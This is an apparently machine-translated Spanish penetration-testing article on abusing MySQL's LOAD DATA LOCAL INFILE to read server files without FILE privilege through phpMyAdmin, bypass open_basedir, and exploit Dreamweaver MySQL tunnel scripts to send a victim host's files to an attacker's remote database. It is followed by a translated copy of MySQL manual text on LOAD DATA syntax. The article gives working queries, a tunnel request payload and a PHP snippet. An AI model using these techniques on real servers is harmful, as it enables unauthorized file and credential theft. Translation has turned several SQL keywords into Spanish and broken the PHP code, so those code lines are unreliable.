Describo una situación bastante común. Durante el pentest, se obtuvo acceso a phpMyAdmin en un host remoto, pero no se pudo acceder a los archivos a través de él. El notorio FILE_PRIV=no marca en la configuración del demonio MySQL es el culpable de todo. Muchos en esta situación se dan por vencidos y creen que los archivos en el host ya no se pueden leer de esta manera. Pero no siempre es así.
ADVERTENCIA
Toda la información se proporciona únicamente con fines informativos. Ni los editores ni el autor son responsables de los posibles daños causados por los materiales de este artículo.
Preludio
Cuando se trata de la interacción de MySQL DBMS con el sistema de archivos, generalmente recuerdan:
- la función LOAD_FILE, que le permite leer archivos en el servidor;
- la construcción SELECT ... INTO OUTFILE, que se puede usar para crear nuevos archivos.
En consecuencia, si obtiene acceso a phpMyAdmin o cualquier otro cliente en una máquina remota, es muy probable que pueda acceder a MySQL a través de MySQL. sistema de archivos. Pero solo si el indicador FILE_PRIV=yes está establecido en la configuración del daemon, lo que no siempre es el caso. En este caso, debemos recordar acerca de otro operador, mucho menos conocido, pero que al mismo tiempo tiene una funcionalidad bastante poderosa. Me refiero a la declaración LOAD DATA INFILE, cuyas características se discutirán en este artículo.
Interacción entre PHP y MySQL
PHP es el lenguaje más utilizado para crear aplicaciones web, por lo que vale la pena echar un vistazo más de cerca a cómo interactúa con una base de datos.
En PHP4, las bibliotecas cliente de MySQL se incluyeron de forma predeterminada y se incluyeron en la distribución de PHP, por lo que durante la instalación, solo podía optar por no usar MySQL especificando la opción
sin mysql.
PHP5 viene sin una biblioteca de cliente. En los sistemas *nix, PHP5 generalmente se construye con la biblioteca libmysqlclient ya instalada en el servidor, simplemente configurando la opción
Con-mysql=/usr
durante el montaje. Al mismo tiempo, antes de la versión 5.3, se utiliza una biblioteca de cliente MySQL de bajo nivel (libmysql) para interactuar con el servidor MySQL, una interfaz que no está optimizada para la comunicación con aplicaciones PHP.
El controlador nativo de MySQL (mysqlnd) se ha desarrollado para PHP 5.3 y superior, y la versión reciente de PHP 5.4 utiliza este controlador de forma predeterminada. Aunque el controlador incorporado de MySQL está escrito como una extensión de PHP, es importante comprender que no proporciona una nueva API al programador de PHP. Las extensiones MySQL, mysqli y PDO_MYSQL proporcionan la API de la base de datos MySQL para el programador. Estas extensiones pueden usar el controlador MySQL incorporado para comunicarse con el demonio MySQL.
El uso del controlador incorporado de MySQL tiene algunas ventajas sobre la biblioteca cliente de MySQL: por ejemplo, no necesita instalar MySQL para compilar PHP ni usar scripts que funcionen con la base de datos. Más información detallada sobre MySQL Native Driver y sus diferencias con libmysql se puede encontrar en la documentación.
Las extensiones MySQL, mysqli y PDO_MYSQL se pueden configurar individualmente para usar libmysql o mysqlnd. Por ejemplo, para configurar la extensión MySQL para usar la biblioteca cliente MySQL y la extensión mysqli para trabajar con el controlador nativo MySQL, debe especificar las siguientes opciones:
`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`
Sintaxis CARGAR DATOS
La declaración LOAD DATA, como dice la documentación, lee líneas de un archivo y las carga en una tabla a muy alta velocidad. Se puede usar con palabra clave LOCAL (disponible en MySQL 3.22.6 y posteriores) que especifica desde dónde se cargarán los datos. Si la palabra LOCAL está ausente, entonces el servidor carga el archivo especificado en la tabla con su máquina local, no desde la máquina del cliente. Es decir, el archivo no será leído por el cliente MySQL, sino por el servidor MySQL. Pero esta operación nuevamente requiere el privilegio FILE (el indicador FILE_PRIV=yes). La ejecución de la declaración en este caso se puede comparar con el uso de la función LOAD_FILE, con la única diferencia de que los datos se cargan en la tabla y no se muestran. Por lo tanto, usar LOAD DATA INFILE para leer archivos tiene sentido solo cuando la función LOAD_FILE no está disponible, es decir, en versiones muy antiguas del servidor MySQL.
Pero si la declaración se usa de esta forma: LOAD DATA LOCAL INFILE , es decir, usando la palabra LOCAL, entonces el programa cliente (en la máquina del cliente) ya lee el archivo y lo envía al servidor donde se encuentra la base de datos. Al mismo tiempo, el privilegio FILE, por supuesto, no es necesario para acceder a los archivos (ya que todo sucede en la máquina del cliente).
Extensiones MySQL/mysqli/PDO_MySQL y sentencia LOAD DATA LOCAL
En la extensión MySQL, la capacidad de usar LOCAL está controlada por la directiva PHP_INI_SYSTEM mysql.allow_local_infile. Por defecto, esta directiva tiene un valor de 1 y, por lo tanto, el operador que necesitamos suele estar disponible. Además, la función mysql_connect le permite habilitar el uso de LOAD DATA LOCAL si el quinto argumento es la constante 128.
Cuando se usa la extensión PDO_MySQL para conectarse a la base de datos, también podemos habilitar el soporte LOCAL usando la constante PDO::MYSQL_ATTR_LOCAL_INFILE (entero)
$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));
Pero las mayores posibilidades para trabajar con la sentencia LOAD DATA las proporciona la extensión mysqli. Esta extensión también proporciona la directiva PHP_INI_SYSTEM mysqli.allow_local_infile, que regula el uso de LOCAL.
Si la conexión se realiza a través de mysqli_real_connect, con la ayuda de mysqli_options podemos habilitar y deshabilitar el soporte LOCAL. Además, la función mysqli_set_local_infile_handler está disponible en esta extensión, lo que le permite registrar una función de devolución de llamada para manejar el contenido de los archivos leídos por la instrucción LOAD DATA LOCAL INFILE.
Lectura de archivos
El lector atento probablemente ya haya adivinado que si tenemos una cuenta en phpMyAdmin, podremos leer archivos arbitrarios sin tener el privilegio de ARCHIVO, e incluso evitar las restricciones de open_basedir. Después de todo, muy a menudo tanto el cliente (en este caso, phpMyAdmin) como el demonio MySQL están en la misma máquina. A pesar de las restricciones de la política de seguridad Servidores MySQL, podemos aprovechar el hecho de que esta política no se aplica al cliente y aun así leer los archivos del sistema, empujándolos a la base de datos.
El algoritmo es simple. Basta con ejecutar las siguientes consultas SQL:
- Crea una tabla en la que escribiremos el contenido de los archivos: CREATE TABLE temp(content text);
- Envíe el contenido del archivo a la tabla creada: CARGAR DATOS LOCAL INFILE "/etc/hosts" EN LA TABLA temp CAMPOS TERMINADOS POR "eof" ESCAPADOS POR "" LÍNEAS TERMINADAS POR "eof";
Voilá. El contenido del archivo /etc/hosts ahora está en la tabla temporal. ¿Necesitas leer binarios? No hay problemas. Si en el primer paso creamos una tabla como esta:
CREAR TABLA "bin" ("bin" BLOB NOT NULL) MOTOR = MYISAM ;
entonces será posible cargar archivos binarios en él. Es cierto que se agregarán bits adicionales al final de los archivos, pero se pueden eliminar en cualquier editor hexadecimal. Por lo tanto, puede descargar scripts protegidos por IonCube/Zend/TrueCrypt/NuSphere desde el servidor y decodificarlos.
Otro ejemplo de cómo puede usar LOAD DATA LOCAL INFILE es averiguar la ruta a la configuración de Apache. Esto se hace de la siguiente manera:
- Primero, encontramos la ruta al binario, para esto leemos /proc/self/cmdline como se describe arriba.
- Y luego leemos directamente el binario, donde buscamos HTTPD_ROOT/SERVER_CONFIG_FILE.
Está claro que en esta situación los scripts de phpMyAdmin juegan el papel de un cliente para conectarse a la base de datos. Y en lugar de phpMyAdmin, puede usar cualquier otra interfaz web para trabajar con MySQL.
Por ejemplo, puede utilizar secuencias de comandos para realizar copias de seguridad y restaurar la base de datos. En 2007, un hacker francés llamado acidroot publicó un exploit basado en este comentario y que permitía leer archivos desde el panel de administración de phpBB.<= 2.0.22.
El túnel es conveniente. Túnel inseguro
Al instalar aplicaciones web complejas, a menudo se requiere acceso directo a la base de datos, por ejemplo, para la configuración inicial y el ajuste de scripts. Por lo tanto, en algunos casos, es recomendable instalar un script simple en el servidor, el llamado Túnel MySQL, que le permite consultar la base de datos utilizando un cliente conveniente en lugar del pesado phpMyAdmin.
Hay bastantes túneles para trabajar con la base de datos, pero no todos son muy comunes. Quizás uno de los más famosos es Macromedia Dream Weaver Server Scripts. Puede ver el código fuente de este script.
La principal diferencia entre MySQL Tunnel y phpMyAdmin es la necesidad de ingresar no solo el nombre de usuario y la contraseña de la base de datos, sino también el host al que desea conectarse. Al mismo tiempo, los túneles a menudo se dejan activos, bueno, por si acaso, nunca se sabe qué más se debe ajustar. Parece que solo puede usarlos si tiene una cuenta en la base de datos; entonces, ¿por qué tener miedo? En resumen, parece que el túnel no representa una amenaza particular para la seguridad del servidor web. Pero, de hecho, no todo es tan bueno como parece a primera vista.
Considere la siguiente situación. Deje que el servidor A tenga un sitio site.com con un túnel establecido http://site.com/_mmServerScripts/MMHTTPDB.php. Supongamos que en el servidor A es posible usar LOAD DATA LOCAL (como se discutió anteriormente, esto, por ejemplo, es posible con la configuración predeterminada). En este caso, podemos tomar un servidor MySQL remoto, cuyas bases de datos están permitidas desde cualquier lugar y que también te permite usar LOCAL, y conectarte a este servidor usando un túnel. Datos para conectarse a un servidor MySQL remoto:
Host de base de datos: xx.xx.xx.xxx Nombre de base de datos: nombre_remoto_db Usuario de base de datos: nuestro_usuario Contraseña de base de datos: nuestra_contraseña
En esta situación, el servidor A hará el papel de cliente y, por lo tanto, podemos enviar archivos desde su host a una base de datos remota o, en otras palabras, leer archivos. Con la siguiente solicitud simple:
Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl CAMPOS TERMINADOS POR "__eof__" ESCAPADOS POR "" LÍNEAS TERMINADAS POR "__eof__"
De hecho, esta vulnerabilidad es más peligrosa que la lectura habitual de archivos: permite leer los archivos de configuración de los scripts instalados en el servidor A. A través del mismo túnel se puede acceder directamente a la base de datos que gestiona estos scripts. La técnica descrita anteriormente para usar túneles musculares puede generalizarse ligeramente y aplicarse cuando se explotan vulnerabilidades de no serialización.
Servidor de cliente
Para comprender mejor las posibilidades de LOAD DATA, es necesario recordar que MySQL DBMS utiliza una arquitectura tradicional cliente-servidor. Al trabajar con MySQL, en realidad trabajamos con dos programas:
- un programa de servidor de base de datos ubicado en la computadora donde se almacena la base de datos. El demonio mysqld escucha las solicitudes de los clientes a través de la red y accede al contenido de la base de datos, proporcionando la información solicitada por los clientes. Si mysqld se inicia con --local-infile=0, LOCAL no funcionará;
- el programa cliente se conecta al servidor y envía solicitudes al servidor. La distribución MySQL DBMS incluye varios programas cliente: el cliente de consola MySQL (el más utilizado), así como mysqldump, mysqladmin, mysqlshow, mysqlimport, etc. Y si es necesario, incluso puede crear su propio programa de cliente basado en la biblioteca de cliente estándar libmysql, que viene con MySQL DBMS.
Si al usar el cliente MySQL estándar no se puede usar la declaración LOAD DATA LOCAL, entonces debe usar el modificador --local-infile:
Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE miembro;
O especifique una opción para el cliente en el archivo /my.cnf:
local-infile=1
Es importante tener en cuenta que, de forma predeterminada, todos los clientes y bibliotecas de MySQL se compilan con la opción --enable-local-infile para garantizar la compatibilidad con MySQL 3.23.48 y anteriores, por lo que LOAD DATA LOCAL suele estar disponible para clientes estándar. Sin embargo, los comandos al servidor MySQL se envían principalmente no desde la consola, sino desde los scripts, por lo que los lenguajes de desarrollo web también tienen clientes para trabajar con la base de datos, que pueden diferir en funcionalidad del cliente MySQL estándar.
Por supuesto, esta característica de la declaración LOAD DATA puede ser un riesgo de seguridad para el sistema, por lo que a partir de MySQL 3.23.49 y MySQL 4.0.2 (4.0.13 en Win), la opción LOCAL solo funcionará si tanto el cliente como el servidor Permitelo.
Omitir restricciones open_basedir
El uso de LOAD DATA a menudo le permite eludir las limitaciones de open_basedir. Esto puede ser útil si, por ejemplo, tenemos acceso al directorio de alojamiento compartido de un usuario, pero queremos leer scripts del directorio de inicio de otro usuario. Luego, al instalar este script
1)); $e=$pdo->exec("CARGAR ARCHIVO LOCAL DE DATOS "./ruta/al/archivo" EN CAMPOS DE PRUEBA DE LA TABLA TERMINADOS POR "__eof__" ESCAPADOS POR "" LÍNEAS TERMINADAS POR "__eof__""); $pdo = nulo; ?>
Conclusión
Es curioso que la posibilidad descrita del operador LOAD DATA se conozca desde hace al menos diez años. La mención de esto se puede encontrar, por ejemplo, en el ticket [#15408] (Modo seguro / MySQL Vuln 2002-02-06), y luego preguntas similares surgieron repetidamente en bugs.php.net [#21356] [#23779 ] [#28632] [#31261] [#31711]. A lo que los desarrolladores respondieron textualmente de la siguiente manera:
[correo electrónico protegido] No es un error, es una característica :)
O se le asignó un ticket "Estado: no se arreglará". O se limitaban a parches que no solucionaban casi nada. Las entradas sobre este tema surgieron nuevamente. Por lo tanto, el método especificado para eludir open_basedir aún funciona en una gran cantidad de servidores. Sin embargo, con la llegada del nuevo controlador mysqlnd, parece que se tomó la decisión de realizar cambios significativos: con la configuración predeterminada, esta instrucción ya no se ejecutará [#54158] [#55737]. Esperemos que en un futuro cercano los desarrolladores pongan las cosas en orden en este asunto.
CARGAR EL ARCHIVO DE DATOS "file_name.txt" EN LA TABLA tbl_name [INCLUIDO POR ""] ] [(col_name,...)]El comando LOAD DATA INFILE lee líneas de un archivo de texto y las inserta en una tabla a muy alta velocidad. Si se especifica la palabra clave LOCAL, el archivo se lee desde el host del cliente. Si no se especifica LOCAL, el archivo debe estar en el servidor. (La opción LOCAL está disponible en MySQL versión 3.22.6 y posteriores).
Si los archivos de texto que se van a leer están ubicados en el servidor, entonces, por razones de seguridad, estos archivos deben estar ubicados en el directorio de la base de datos o ser legibles por todos los usuarios. Además, para usar el comando LOAD DATA INFILE en los archivos del servidor, debe tener privilegios de ARCHIVO en el host del servidor. Consulte la sección 4.2.7 Privilegios otorgados por MySQL.
En MySQL 3.23.49 y MySQL 4.0.2, el comando LOCAL no funcionará si el demonio mysqld se inicia con --local-infile=0 o si el cliente no tiene habilitado el soporte LOCAL. Consulte la sección 4.2.4 Consideraciones de seguridad relacionadas con el comando LOAD DATA LOCAL.
Si se especifica la palabra clave LOW_PRIORITY, la ejecución de este comando LOAD DATA se retrasará hasta que otros clientes hayan terminado de leer esta tabla.
Si se especifica la palabra clave CONCURRENT al trabajar con tablas MyISAM, otros subprocesos pueden recuperar datos de la tabla durante la ejecución del comando LOAD DATA. El uso de esta función, por supuesto, tendrá un ligero impacto en el rendimiento de LOAD DATA , incluso si ningún otro subproceso está utilizando la tabla al mismo tiempo.
Cuando se usa la opción LOCAL, la ejecución puede ser un poco más lenta que permitir que el servidor acceda a los archivos directamente, porque el contenido del archivo se debe mover del host del cliente al servidor. Por otro lado, en este caso no hay necesidad de privilegios de ARCHIVO para cargar archivos locales.
Si está utilizando versiones de MySQL anteriores a la 3.23.24, no puede leer desde un FIFO usando el comando LOAD DATA INFILE. Si es necesario leer desde un FIFO (por ejemplo, la salida estándar de gunzip), se debe usar LOAD DATA LOCAL INFILE.
También puede cargar archivos de datos usando la utilidad mysqlimport. Esta utilidad realiza la carga de archivos mediante el envío de comandos LOAD DATA INFILE al servidor. La opción --local hace que mysqlimport lea los archivos de datos del host del cliente. Puede especificar la opción --compress para obtener un mejor rendimiento en redes lentas si tanto el cliente como el servidor admiten el protocolo de compresión de datos.
En los casos en que los archivos estén ubicados en el servidor, éste actúa de acuerdo con las siguientes reglas:
- Si se proporciona una ruta absoluta (completa) a un archivo, el servidor usa esta ruta sin modificaciones.
- Si se especifica una ruta relativa al archivo, especificando uno o más directorios de inicio, la búsqueda del archivo será relativa a los directorios especificados en el directorio de datos del servidor (datadir).
- Si se proporciona una ruta a un archivo sin especificar los directorios de inicio, el servidor busca el archivo en el directorio de la base de datos que se está utilizando.
De ello se deduce que el archivo especificado como `./myfile.txt" se lee desde el directorio de datos del servidor, mientras que el archivo especificado como `myfile.txt" se lee desde el directorio de la base de datos que se está utilizando. Por ejemplo, el siguiente comando LOAD DATA lee el archivo data.txt en el directorio de la base de datos para db1 porque db1 es la base de datos actual, aunque el comando le indica explícitamente que cargue el archivo en la tabla de la base de datos db2:
MySQL> USAR db1; mysql> CARGAR EL ARCHIVO DE DATOS "data.txt" EN LA TABLA db2.my_table;
Las palabras clave REPLACE e IGNORE controlan el procesamiento de registros de entrada que duplican registros existentes con los mismos valores de clave únicos. Si se especifica REEMPLAZAR, las filas nuevas reemplazarán las filas existentes con la misma clave única. Si especifica IGNORE , se ignorarán las filas de entrada que tengan la misma clave única que las existentes. Si no se especifica ningún parámetro, se produce un error cuando se encuentra un valor de clave duplicado y se ignora el resto del archivo de texto.
Si los datos se cargan desde un archivo local utilizando la palabra clave LOCAL, el servidor no podrá cancelar la transferencia de datos en medio de esta operación, por lo que el comportamiento predeterminado del comando es el mismo que cuando se especifica IGNORE.
Cuando se usa LOAD DATA INFILE en tablas MyISAM vacías, todos los índices no únicos se crean en un paquete separado (como en REPAIR). Esto suele acelerar mucho la operación LOAD DATA INFILE en el caso de una gran cantidad de índices.
El comando LOAD DATA INFILE es complementario a SELECT... INTO OUTFILE. Consulte la sección 6.4.1 Sintaxis de la instrucción SELECT. Para escribir datos de la base de datos en un archivo, utilice SELECT... INTO OUTFILE. Para volver a leer datos en la base de datos, se utiliza LOAD DATA INFILE. La sintaxis de CAMPOS y LÍNEAS es la misma en ambos comandos. Ambas partes son opcionales, pero si se especifican ambas, FIELDS debe preceder a LINES .
Si se especifica FIELDS, cada una de sus subexpresiones (TERMINATED BY, ENCLOSED BY y ESCAPED BY) también es opcional, pero al menos una de ellas debe especificarse.
Si la afirmación FIELDS no está definida, sus parámetros por defecto tomarán los siguientes valores:
CAMPOS TERMINADOS POR "\t" ENCERRADOS POR "" ESCAPADOS POR "\\"
Si la cláusula LINES no está definida, por defecto tiene la siguiente estructura:
LÍNEAS TERMINADAS EN "\n"
En otras palabras, con la configuración predeterminada, el comando LOAD DATA INFILE, al leer los datos de entrada, funcionará de la siguiente manera:
- Buscar finales de línea como caracteres `\n'
- Dividir líneas en campos por caracteres de tabulación.
- No espere que los campos estén entre comillas.
- Interprete la aparición de tabuladores, saltos de línea o `\" precedidos por `\" como literales que forman parte del valor del campo.
Por el contrario, si la configuración predeterminada para escribir la salida está en vigor, el comando SELECT ... INTO OUTFILE funcionará de la siguiente manera:
- Insertar caracteres de tabulación entre campos.
- No incluya campos entre comillas. Use los caracteres `\" para escapar de las instancias de tabulación, nueva línea o `\" que aparecen entre los valores de campo.
- Inserte caracteres de nueva línea al final de cada entrada.
Tenga en cuenta que la entrada FIELDS ESCAPED BY `\" requiere dos barras invertidas para que un valor se lea como una sola barra invertida.
La opción IGNORE number LINES se puede usar para ignorar el encabezado de los nombres de las columnas al principio de un archivo:
Mysql> CARGAR EL ARCHIVO DE DATOS "/tmp/nombre_de_archivo" EN LA TABLA prueba IGNORAR 1 LÍNEAS;
Cuando se usa SELECT ... INTO OUTFILE con LOAD DATA INFILE para leer datos de la base de datos a un archivo y luego volver del archivo a la base de datos, las opciones de procesamiento de campos y filas para ambos comandos deben coincidir. De lo contrario, LOAD DATA INFILE no podrá interpretar correctamente el contenido de este archivo. Suponga que el comando SELECT ... INTO OUTFILE se usa para escribir en un archivo con campos separados por comas:
Mysql> SELECT * INTO OUTFILE "data.txt" CAMPOS TERMINADOS POR "," FROM ...;
Mysql> CARGAR EL ARCHIVO DE DATOS "datos.txt" EN LOS CAMPOS DE LA TABLA table2 TERMINADOS POR ",";
Mysql> CARGAR EL ARCHIVO DE DATOS "data.txt" EN LOS CAMPOS DE LA TABLA table2 TERMINADOS POR "\t";
Se obtendría un resultado similar si cada línea de entrada se interpretara como un campo separado.
El comando LOAD DATA INFILE también se puede usar para leer archivos de fuentes externas. Por ejemplo, los campos en un archivo de formato de base de datos dBASE estarán separados por comas y encerrados entre comillas dobles. Si las líneas de este archivo terminan con líneas nuevas, se puede usar el siguiente comando para escribir el archivo, que ilustra las opciones de configuración que procesan campos y líneas:
Mysql> CARGAR EL ARCHIVO DE DATOS "data.txt" EN LA TABLA tbl_name CAMPOS TERMINADOS POR "," ENCERRADO POR """ LÍNEAS TERMINADAS POR "\n";
Cualquiera de las opciones que manejan campos y líneas puede ser una cadena vacía (""). Si la cadena no está vacía, entonces los valores de las opciones FIELDS ENCLOSED BY y FIELDS ESCAPED BY deben contener un carácter. Los valores de opción CAMPOS TERMINADOS POR y LÍNEAS TERMINADAS POR pueden contener más de un carácter. Por ejemplo, para escribir líneas que terminan en pares ``retorno de carro - avance de línea'' (como en archivos de texto de MS DOS o Windows), debe especificar la siguiente expresión: LÍNEAS TERMINADAS POR "\r\n" .
CREATE TABLE chistes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, chiste TEXT NOT NULL); CARGAR EL ARCHIVO DE DATOS "/tmp/chistes.txt" EN LOS CAMPOS DE TABLA chistes TERMINADOS POR ""; LÍNEAS TERMINADAS EN "\n%%\n" (broma);
La opción FIELDS ENCLOSED BY controla los campos que están encerrados en caracteres dados. Si se omite el parámetro OPCIONALMENTE, en la salida (SELECCIONAR... EN ARCHIVO DE SALIDA) todos los campos se incluirán en los caracteres especificados en ENCLOSED BY. Un ejemplo de tal salida (que usa una coma como separador de campo) se muestra a continuación:
"1","una cadena","100.20" "2","una cadena que contiene una coma","102.20" "3","una cadena que contiene una comilla \"","102.20" "4"," una cadena que contiene \", comillas y comas","102.20"
Si se especifica el parámetro OPCIONALMENTE, solo se seleccionan los campos de tipo CHAR y VARCHAR con el carácter especificado en ENCLOSED BY:
1,"una cadena",100.20 2,"una cadena que contiene una , coma",102.20 3,"una cadena que contiene una \" comilla",102.20 4,"una cadena que contiene una \", comilla y coma",102.20
Tenga en cuenta que la aparición de caracteres ENCLOSED BY dentro del valor del campo se escapa aplicando un prefijo de ESCAPED BY antes de ellos. También tenga en cuenta que si ESCAPED BY es nulo, es posible generar una salida que la instrucción LOAD DATA INFILE no pueda leer correctamente. Por ejemplo, si el carácter de escape es una cadena vacía, la salida anterior será como se muestra a continuación. Tenga en cuenta que el segundo campo en la cuarta línea contiene una coma seguida de comillas, que (erróneamente) parece delimitar el campo dado:
1,"una cadena",100.20 2,"una cadena que contiene una , coma",102.20 3,"una cadena que contiene una " comilla",102.20 4,"una cadena que contiene ", una comilla y una coma",102.20
Para la entrada, el carácter ENCLOSED BY, si está presente, se elimina de ambos extremos de los valores de campo. (Esto es cierto ya sea que se especifique o no el parámetro OPCIONALMENTE: el parámetro OPCIONALMENTE se ignora cuando se trabaja con la entrada). Si se encuentra un carácter ENCLOSED BY precedido por un carácter ESCAPED BY, se interpreta como parte del carácter actual del campo. valor. Además, los caracteres dobles ENCLOSED BY que aparecen dentro de un campo se interpretan como caracteres simples ENCLOSED BY si el propio campo comienza con ese carácter. Por ejemplo, si se especifica ENCLOSED BY """, las comillas se manejan de la siguiente manera:
"El jefe ""GRANDE"" -> El jefe "GRANDE" El jefe "GRANDE" -> El jefe "GRANDE" El jefe "GRANDE"" -> El jefe "GRANDE""
La opción CAMPOS ESCAPADOS POR controla la escritura o lectura de caracteres especiales. Si el carácter FIELDS ESCAPED BY no está vacío, se usa como prefijo para los siguientes caracteres en la salida:
- CAMPOS ESCAPADOS POR símbolo
- CAMPOS CERCADOS POR símbolo
- Primer carácter de CAMPOS TERMINADOS POR y LÍNEAS TERMINADAS POR
- Carácter ASCII 0 (en realidad, ASCII `0" se escribe después del carácter de escape, no un byte de valor cero)
Si el carácter FIELDS ESCAPED BY está vacío, no se escapará ningún carácter. De hecho, no tiene sentido especificar un carácter de escape vacío, especialmente si los valores de campo en los datos que se procesan contienen alguno de los caracteres de la lista anterior.
Si el carácter FIELDS ESCAPED BY no está vacío, entonces, en el caso de la entrada, las ocurrencias de dicho carácter se eliminan y el carácter que sigue a dicha ocurrencia se toma literalmente como parte del valor del campo. Las excepciones se escapan `0" o `N" (por ejemplo, \0 o \N si el carácter de escape es `\"). Estas secuencias se interpretan como ASCII 0 (un byte con un valor de cero) y NULL. Consulte las reglas para manejando un valor nulo a continuación.
Consulte la sección 6.1.1 Literales: representación de cadenas y números para obtener más información sobre la sintaxis del carácter de escape `\".
En algunos casos, las opciones de procesamiento de campos y filas interactúan:
- Si LINES TERMINATED BY es una cadena vacía y FIELDS TERMINATED BY no es una cadena vacía, entonces las líneas también terminan con FIELDS TERMINATED BY .
- Si tanto CAMPOS TERMINADOS POR como CAMPOS ENCERRADOS POR están vacíos (""), se utiliza el formato de cadena fijo (sin delimitadores). El formato de cadena fija no proporciona ningún separador entre campos. En su lugar, al leer y escribir valores de columna, se usa el ancho de ``salida"" de las columnas. Por ejemplo, si una columna se declara como INT(7), los valores de esa columna se escriben utilizando campos de 7 caracteres de ancho. Los valores de entrada para esta columna se obtienen leyendo 7 caracteres. El formato de cadena fijo también afecta el manejo de valores NULL (ver más abajo). Tenga en cuenta que el formato de tamaño fijo no funcionará cuando se utilice un juego de caracteres multibyte.
Los valores NULL se manejarán de manera diferente según las opciones de CAMPOS y LÍNEAS utilizadas:
- Para los valores predeterminados de FIELDS y LINES, NULL se escribe como \N en la salida y \N se lee como NULL en la entrada (suponiendo que el carácter ESCAPED BY sea `\").
- Si FIELDS ENCLOSED BY no está vacío, entonces un campo cuyo valor es una palabra de letras NULL se lee como un valor NULL (a diferencia de una palabra NULL entre FIELDS ENCLOSED BY caracteres, que se lee como la cadena " NULL ").
- Si FIELDS ESCAPED BY está vacío, NULL se escribe como palabra NULL.
- En formato de cadena fija (lo que ocurre si los especificadores FIELDS TERMINATED BY y FIELDS ENCLOSED BY están vacíos), NULL se escribe como la cadena vacía. Tenga en cuenta que, como resultado, el valor NULL y la cadena vacía de esta tabla serán indistinguibles cuando se escriban en el archivo, ya que ambos se escriben como cadenas vacías. Si desea que estos valores sean diferentes cuando se vuelve a leer el archivo, entonces no debe usar el formato de cadena fijo.
Algunos casos no admitidos por la sentencia LOAD DATA INFILE:
- Filas de tamaño fijo (los CAMPOS TERMINADOS POR y LOS CAMPOS ENCERRADOS POR están vacíos) y columnas BLOB o TEXTO.
- Si se especifica un delimitador que coincide o es un prefijo de otro, LOAD DATA INFILE no podrá interpretar la entrada correctamente. Por ejemplo, la siguiente instrucción FIELDS causará problemas: FIELDS TERMINATED BY """ ENCLOSED BY """
- Si la opción CAMPOS ESCAPADOS POR está vacía, la aparición de un carácter CAMPOS ENCERRADOS POR o LÍNEAS TERMINADAS POR en un valor de campo seguido de un carácter CAMPOS TERMINADOS POR hará que el comando LOAD DATA INFILE deje de leer el campo o la línea prematuramente. Esto se debe a que LOAD DATA INFILE no puede determinar correctamente dónde termina un campo o una línea.
El siguiente ejemplo carga todas las columnas de la tabla de datos personales:
Mysql> CARGAR EL ARCHIVO DE DATOS "persondata.txt" EN LA TABLA persondata;
No se especifica la lista de campos, por lo que el comando LOAD DATA INFILE espera que las filas de entrada llenen cada columna de la tabla. Esto utiliza los valores predeterminados de CAMPOS y LÍNEAS.
Si desea cargar solo algunas de las columnas de la tabla, debe especificar una lista de columnas:
Mysql> CARGAR EL ARCHIVO DE DATOS "persondata.txt" EN LA TABLA persondata (col1, col2,...);
La lista de campos también debe especificarse en los casos en que el orden de los campos en el archivo de entrada difiera del orden de las columnas en la tabla dada. De lo contrario, MySQL no podrá asignar los campos de entrada a las columnas de la tabla.
Si una fila tiene muy pocos campos, las columnas para las que no hay campos en el archivo de entrada se establecen en sus valores predeterminados. La asignación de valores por defecto se describe en la sección 6.5.3 Sintaxis de la sentencia CREATE TABLE.
El valor de un campo vacío se interpreta de forma diferente a la ausencia de un valor:
- Para los tipos de cadena, la columna se establece en la cadena vacía.
- Para los tipos numéricos, la columna se establece en 0.
- Para los tipos de fecha y hora, la columna se establece en el valor apropiado ``cero"' para ese tipo. Consulte la sección 6.2.2 Tipos de datos de fecha y hora.
Tenga en cuenta que estos son los mismos valores que terminarían en una columna al asignar explícitamente una cadena vacía a las columnas de tipo cadena, numérico o fecha u hora en una declaración INSERTAR o ACTUALIZAR.
Las columnas TIMESTAMP solo se establecen en la fecha u hora actual si la columna se establece en NULL o (solo para la primera columna TIMESTAMP) si la columna TIMESTAMP está fuera de la lista de campos, si se especifica dicha lista.
Si la cadena de entrada tiene demasiados campos, los campos adicionales se ignoran y la cantidad de advertencias aumentará.
El comando LOAD DATA INFILE interpreta todos los datos de entrada como cadenas, por lo que no puede especificar valores numéricos para las columnas ENUM o SET de la misma manera que para los comandos INSERT. ¡Todos los valores ENUM y SET deben especificarse como cadenas!
Al usar la API C, puede obtener información sobre una consulta llamando a la función API mysql_info() al final de una consulta LOAD DATA INFILE. A continuación se muestra el formato de la línea de información para este caso:
Registros: 1 Eliminados: 0 Omitidos: 0 Advertencias: 0
Las advertencias se emiten en las mismas circunstancias que cuando se escriben valores con un comando INSERT (consulte la sección 6.4.3 Sintaxis de la declaración INSERT), excepto que el comando LOAD DATA INFILE genera advertencias adicionales cuando hay muy pocos o demasiados campos en la entrada. cuerda. Las advertencias no se almacenan en ningún lugar; la cantidad de advertencias solo se puede usar para verificar si las acciones especificadas se completaron normalmente. Si desea saber exactamente qué causa las advertencias, debe SELECCIONAR ... EN EL OUTFILE a otro archivo y comparar el resultado con el archivo de entrada original; esta es la única forma de obtener esta información.
Si necesita CARGAR DATOS para leer desde una tubería, puede usar el siguiente truco:
Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "CARGAR ARCHIVO DE DATOS "x" EN LA TABLA x" x
Cuando se usa una versión de MySQL anterior a la 3.23.25, lo anterior solo se puede hacer con LOAD DATA LOCAL INFILE.
Para obtener más información sobre la eficiencia de INSERT versus LOAD DATA INFILE y la ganancia de velocidad de LOAD DATA INFILE, consulte la sección 5.2.9 Velocidad de ejecución de la consulta INSERT.
Comentarios del usuario
| Publicado por Jason Tito | [Eliminar][Editar] |
"Las advertencias no se almacenan en ningún lugar; el número de advertencias solo se puede usar como un
indicación de si todo salió bien"
Tienes que estar bromeando. ¿Esto se hace como una especie de castigo de DBA? es decir. - Nosotros
SEPA cuáles fueron los problemas, pero solo tendrá que crear un archivo de salida y revisar
sus millones de registros para encontrarlos". ¿No solía MySQL poner estos en el registro de errores,
